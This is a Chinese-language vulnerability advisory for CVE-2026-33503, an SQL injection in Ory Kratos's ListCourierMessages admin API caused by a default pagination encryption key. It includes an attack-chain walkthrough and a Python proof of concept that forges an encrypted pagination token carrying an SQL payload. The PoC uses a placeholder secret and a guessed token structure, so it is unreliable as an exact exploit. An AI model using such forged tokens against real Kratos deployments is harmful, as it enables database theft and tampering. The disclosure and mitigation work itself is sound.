IPBUF安全漏洞报告
English
CVE-2026-33503 CVSS 7.2 高危

CVE-2026-33503 Ory Kratos SQL注入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33503
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Ory Kratos

相关标签

SQL注入Ory KratosCVE-2026-33503身份认证高危漏洞

漏洞概述

Ory Kratos是一款云服务身份管理和认证系统。在26.2.0版本之前,其ListCourierMessages管理API存在SQL注入漏洞。该漏洞源于分页实现缺陷,分页令牌使用secrets.pagination密钥加密。若攻击者知晓该密钥或利用公开的默认密钥,可构造恶意令牌实施SQL注入攻击,获取高权限并破坏数据机密性、完整性和可用性。

技术细节

该漏洞位于Ory Kratos的Admin API接口中,具体涉及ListCourierMessages功能的分页机制实现。系统为了防止分页参数被篡改,对分页令牌进行了加密处理,所使用的密钥由配置项secrets.pagination决定。然而,当管理员未显式配置此密钥时,系统会回退使用一个硬编码的默认值。由于该默认值是公开的,攻击者可以利用它解密合法令牌的结构,并重新生成包含恶意SQL载荷的伪造令牌。当后端服务解析并使用该恶意令牌构建数据库查询时,攻击者注入的SQL语句会被数据库引擎执行。虽然CVSS向量显示需要高权限(PR:H),这意味着攻击者通常需要拥有管理员级别的API访问权限,但一旦获得访问权,该漏洞允许攻击者完全控制数据库,导致数据泄露、篡改或服务瘫痪。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统使用Ory Kratos,并确认其版本低于26.2.0。
STEP 2
2. 获取访问权限
由于漏洞需要高权限(PR:H),攻击者通过其他手段获取管理员API凭证或会话。
STEP 3
3. 构造恶意令牌
攻击者利用已知的默认分页密钥(secrets.pagination),加密包含SQL注入语句的恶意分页令牌。
STEP 4
4. 发起攻击
攻击者向ListCourierMessages Admin API发送请求,并在参数中附带恶意构造的分页令牌。
STEP 5
5. 执行注入
后端服务解密令牌并直接拼接SQL语句执行,导致攻击者注入的恶意代码在数据库中运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import base64 import json from cryptography.fernet import Fernet # The default secret is publicly known for vulnerable installations DEFAULT_SECRET = b'public_known_default_secret_change_me' def craft_malicious_token(sql_payload): """ Crafts a malicious pagination token containing a SQL injection payload. """ f = Fernet(base64.urlsafe_b64encode(DEFAULT_SECRET.ljust(32, b'0')[:32])) # Construct the token structure (example based on typical pagination) token_data = { "page_size": 10, "page_token": f"' OR 1=1; {sql_payload} --" } json_data = json.dumps(token_data).encode('utf-8') encrypted_token = f.encrypt(json_data) return encrypted_token.decode('utf-8') if __name__ == "__main__": # Example payload to extract version payload = "SELECT version()" token = craft_malicious_token(payload) print(f"Generated Malicious Token: {token}") # Send this token in the 'page_token' parameter of ListCourierMessages API

影响范围

Ory Kratos < 26.2.0

防御指南

临时缓解措施
作为首要防线,立即生成一个加密安全的随机密钥,并将其配置为 secrets.pagination 的值。这可以防止攻击者使用默认密钥生成有效令牌,从而在未完成升级前缓解风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表